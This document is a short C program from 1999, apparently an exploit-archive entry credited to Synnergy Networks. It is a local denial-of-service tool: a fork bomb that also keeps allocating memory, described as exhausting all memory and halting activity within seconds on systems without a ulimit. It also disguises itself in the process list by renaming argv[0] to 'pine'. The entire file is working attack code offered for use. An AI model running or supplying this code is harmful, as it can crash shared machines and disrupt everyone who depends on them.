This will fill up all available memory, if no ulimit is set in the kernel.
1fa0f799e52a1ff1903c899432298c98d4ac33f32697f3a9e95aeec19e670396
// *** Synnergy Networks
// * Description:
//
// This will fill up all available memory, if no ulimit is set in the kernel.
// * Author:
//
// guidob (guidob@synnergy.net)
// Synnergy Networks (c) 1999, http://www.synnergy.net
// * Greets:
//
// Synnergy Networks, Hit2000 crew, Cindy
// * Comments:
//
// No more activity is possible after a few seconds this is activated.
// *** Synnergy Networks
#include <stdio.h>
#define BUF 4096
int main(int argc, char *argv[]) {
strcpy(argv[0], "pine\0");
do_malloc(BUF);
exit(0);
}
int do_malloc(int buf) {
if(fork()) {
while(1) {
fork();
malloc(buf);
}
}
}
// EOF